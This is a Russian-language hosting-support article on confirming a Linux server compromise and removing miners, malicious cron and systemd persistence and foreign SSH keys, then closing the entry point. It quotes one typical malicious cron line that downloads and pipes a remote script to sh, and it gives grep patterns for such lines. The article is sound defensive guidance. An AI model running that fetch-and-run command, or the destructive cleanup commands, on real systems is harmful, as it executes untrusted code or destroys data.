Сервер Linux взломан: как найти и удалить майнер, вредоносный cron и чужие SSH-ключи

Если сервер внезапно грузит CPU на 100%, генерирует необъяснимый трафик или на него пришла abuse-жалоба, скорее всего, его взломали. На Linux чаще всего подсаживают майнер (xmrig, kdevtmpfsi, kinsing и бесчисленные переименованные копии), который закрепляется в системе через задания cron, службы systemd и SSH-ключ злоумышленника. В статье: как подтвердить взлом, найти вредоносные процессы и все точки закрепления, очистить сервер и закрыть брешь, через которую проник атакующий.

Типичные признаки взлома сервера

• Загрузка CPU держится около 100%, даже когда сайт или приложение простаивают.
• Неизвестные процессы со случайными именами или процессы, запущенные из /tmp, /var/tmp или /dev/shm.
• Большой исходящий трафик, исходящее сканирование SSH или соединения с незнакомыми IP на портах 3333, 4444, 5555, 7777 или 14444 (типичные порты майнинг-пулов).
• Новые задания cron, службы systemd или SSH-ключи, которые вы не добавляли.
• Abuse-жалоба от провайдера на сканирование портов, перебор паролей или рассылку спама с вашего IP.

Шаг 1: Поиск процессов с аномальной нагрузкой на CPU

Выведите самые прожорливые процессы и посмотрите, где на самом деле лежат их исполняемые файлы. Вредоносное ПО часто маскируется под безобидные имена вроде [kworker] или systemd-helper, но его бинарник находится во временном каталоге или уже удалён с диска.

# Top CPU consumers
ps aux --sort=-%cpu | head -15

# For a suspicious PID: real binary path, full command line and working directory
ls -l /proc/12345/exe
tr '\0' ' ' < /proc/12345/cmdline; echo
ls -l /proc/12345/cwd

# Processes whose binary has been deleted from disk (a classic malware trick)
ls -l /proc/*/exe 2>/dev/null | grep '(deleted)'

# Processes started from temporary directories
ls -l /proc/*/exe 2>/dev/null | grep -E '/tmp/|/var/tmp/|/dev/shm/'

Некоторые майнеры приостанавливаются, как только вы открываете top, или прячутся от ps через предзагружаемую библиотеку (см. шаг 3). Если load average остаётся высоким, а top не показывает нагруженных процессов, исходите из того, что что-то скрывается.

Шаг 2: Проверка сетевых соединений

Майнеру нужна связь с пулом, боту — с управляющим сервером. Ищите установленные исходящие соединения, которые ваши приложения никогда бы не открыли.

# All TCP/UDP sockets with the owning process
ss -tunap

# Only established outbound connections
ss -tnp state established

# Connections to common mining pool ports
ss -tnp | grep -E ':(3333|4444|5555|7777|14444|45700)\b'

# Live view of which hosts use bandwidth (apt/dnf install iftop)
iftop -nP

Шаг 3: Поиск всех точек закрепления

Убивать процесс бессмысленно, если задание cron через минуту скачает его снова. Проверьте все перечисленные ниже места.

# Cron jobs for every user
for u in $(cut -d: -f1 /etc/passwd); do crontab -l -u "$u" 2>/dev/null | sed "s/^/[$u] /"; done
cat /etc/crontab
ls -la /etc/cron.d /etc/cron.hourly /etc/cron.daily /var/spool/cron* 2>/dev/null

# Systemd services and timers changed in the last 14 days
find /etc/systemd /lib/systemd /usr/lib/systemd -type f -mtime -14 2>/dev/null
systemctl list-timers --all

# Library preloading: hides processes and files from ps/ls (should normally be empty or absent)
cat /etc/ld.so.preload 2>/dev/null

# Startup scripts and shell profiles
cat /etc/rc.local 2>/dev/null
ls -la /etc/profile.d/
grep -nE 'curl|wget|base64|/tmp/|/dev/shm' /root/.bashrc /root/.profile /etc/profile /etc/bash.bashrc 2>/dev/null

Типичная вредоносная строка cron выглядит как */5 * * * * curl -fsSL http://x.x.x.x/a.sh | sh или запускает команду, закодированную в base64. Подозрительно всё, что вы не создавали сами.

Шаг 4: Проверка пользователей, SSH-ключей и истории входов

# Accounts with UID 0 (only root should be listed)
awk -F: '$3 == 0 {print $1}' /etc/passwd

# Accounts that can log in with a shell
grep -vE 'nologin|false$' /etc/passwd

# Every authorized_keys file on the system
find / -xdev -name authorized_keys 2>/dev/null -exec sh -c 'echo "== $1"; cat "$1"' _ {} \;

# Recent successful and failed logins
last -a | head -20
lastb -a 2>/dev/null | head -20
journalctl -u ssh -u sshd --since "7 days ago" | grep -E 'Accepted|Failed' | tail -30

Удалите все ключи, которые вы не узнаёте. Успешные входы с незнакомых IP, которыми вы никогда не пользовались, — серьёзный признак утечки пароля или ключа.

Шаг 5: Поиск недавно изменённых и скрытых файлов

# Files changed in the last 3 days outside virtual filesystems
find / -xdev -type f -mtime -3 \
  -not -path '/proc/*' -not -path '/sys/*' -not -path '/var/log/*' \
  -not -path '/var/lib/docker/*' 2>/dev/null | head -100

# Contents of temporary directories, including hidden files
ls -la /tmp /var/tmp /dev/shm

# Files made immutable so you cannot delete them
lsattr -a /tmp /var/tmp /usr/bin /usr/local/bin 2>/dev/null | grep -- '-i-'

# Verify that system binaries were not replaced
debsums -c 2>/dev/null      # Debian/Ubuntu (apt install debsums)
rpm -Va 2>/dev/null | grep '^..5'   # Rocky/AlmaLinux: files whose checksum changed

Шаг 6: Очистка сервера

Соблюдайте порядок, чтобы вредонос не перезапустился во время очистки: сначала уберите точки закрепления, затем завершите процессы и только потом удаляйте файлы.

# 1. Remove persistence: edit the crontabs, delete malicious files in /etc/cron.d,
#    then stop and disable unknown services
crontab -e
systemctl disable --now suspicious.service
rm -f /etc/systemd/system/suspicious.service && systemctl daemon-reload

# 2. Empty a malicious preload file
> /etc/ld.so.preload

# 3. Kill the processes
kill -9 12345

# 4. Remove the immutable flag, then delete the files
chattr -i -a /tmp/.x/miner
rm -rf /tmp/.x

# 5. Remove unknown SSH keys and accounts
nano /root/.ssh/authorized_keys
userdel -r unknownuser

После этого смените пароль root и все пароли приложений (базы данных, панели, админки CMS), перевыпустите SSH-ключи и обновите систему командой apt update && apt upgrade или dnf upgrade. Для дополнительной проверки запустите сканер, например rkhunter --check или chkrootkit; они могут давать ложные срабатывания, поэтому внимательно читайте предупреждения.

Шаг 7: Закрытие пути проникновения

Большинство заражений, которые мы видим, происходит через одну из нескольких типичных лазеек. Закройте ту, что относится к вам, иначе сервер заразят снова в течение нескольких часов.

• Слабые пароли SSH: перейдите на вход по ключу и отключите аутентификацию по паролю (см. вход по SSH-ключу), а также установите Fail2ban.
• Сервисы, открытые в интернет без пароля: Redis (6379), Docker API (2375), MongoDB (27017) и Elasticsearch (9200) сканируют постоянно. Привяжите их к 127.0.0.1 или закройте файрволом.
• Устаревшие веб-приложения и плагины: обновите CMS, её плагины и панель управления сервером, удалите сайты, которыми больше не пользуетесь.
• Утёкшие ключи: приватный SSH-ключ или пароль от панели, который использовался где-то ещё. Смените их все.

Частые вопросы

При запуске top загрузка CPU падает до нормы, а потом снова растёт. Почему?

Многие майнеры отслеживают запуск инструментов мониторинга и приостанавливаются, пока те работают. Ориентируйтесь вместо этого на uptime или график CPU в панели управления и выполните шаги 3–5, чтобы найти точки закрепления, даже если сам процесс не виден.

Чистить сервер или переустанавливать?

Если у злоумышленника был root-доступ, надёжнее всего переустановка: сделайте резервную копию файлов сайтов и баз данных, переустановите ОС, сначала защитите её и только затем восстановите данные. Очистка на месте допустима для простого майнера, если вы нашли и удалили все точки закрепления и устранили первопричину.

С моего сервера идут атаки, и пришёл abuse-тикет. Что делать?

Ответьте на тикет, сразу отключите заражённый сервис или очистите сервер и сообщите нам, что нашли и исправили. Исходящие атаки вредят другим сетям и репутации вашего IP, поэтому действовать нужно быстро.

Если проблема не решена, создайте тикет — техническая поддержка IMIDC работает 24/7. Укажите IP сервера, версию ОС, найденный подозрительный процесс или файл и вывод приведённых выше команд, чтобы мы быстрее нашли причину.